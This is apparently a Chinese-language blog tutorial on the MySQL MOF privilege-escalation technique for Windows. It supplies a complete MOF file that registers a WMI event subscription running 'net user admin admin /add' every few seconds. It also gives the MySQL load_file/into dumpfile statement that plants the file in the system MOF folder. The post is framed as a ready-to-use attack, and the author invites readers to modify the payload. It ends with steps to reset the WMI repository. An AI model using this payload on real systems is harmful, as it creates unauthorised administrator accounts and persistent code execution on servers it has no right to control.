原理解读:
Windows 管理规范 (WMI) 提供了以下三种方法编译到 WMI 存储库的托管对象格式 (MOF) 文件:
方法 1: 运行 MOF 文件指定为命令行参数将 Mofcomp.exe 文件。
方法2: 使用 IMofCompiler 接口和 $ CompileFile 方法。
方法 3: 拖放到 %SystemRoot%\System32\Wbem\MOF 文件夹的 MOF 文件。
Microsoft 建议您到存储库编译 MOF 文件使用前两种方法。也就是运行 Mofcomp.exe 文件,或使用 IMofCompiler::CompileFile 方法。
注意:
第三种方法仅为向后兼容性与早期版本(win2003)的 WMI 提供,并因为此功能可能不会提供在将来的版本后,不应使用。
下面的代码是mof文件内容,默认添加一个admin的账户,可以自行修改
-------------------------------XXX.MOF-----------------------------------------------------------
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
-------------------------------XXX.MOF end-----------------------------------------------------------
最近的MYSQL提权也是利用此法.
1.找个可写目录,上传或新建mof文件
2.执行sql
select load_file('C:\\www\\nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';
//注意这里C:\\www\\nullevt.mof是你上传mof文件的随意路径,但后面的那个路径是固定的
注意已执行的mof会一直不停地执行,每隔5秒执行一次mof文件里面的cmd,昨天测试的时候放了个.mof到C:\WINDOWS\system32\wbem\mof\ 从昨天晚上一直到现在还在每过5秒就执行次
加个用户,搞的我郁闷死了。。。
解决办法:
第一 net stop winmgmt 停止服务,
第二 删除文件夹:C:\WINDOWS\system32\wbem\Repository\
第三 net start winmgmt 启动服务
第四:完毕不会在执行了。
C:\WINDOWS\system32\wbem\Repository\ 放的是储存库 我们执行的.mof都会被加入到这个库了。然后一直按脚本设置的时间执行。。 删除后 重新启动 会重建个默认储存库 这样我们先前执行mof就没了。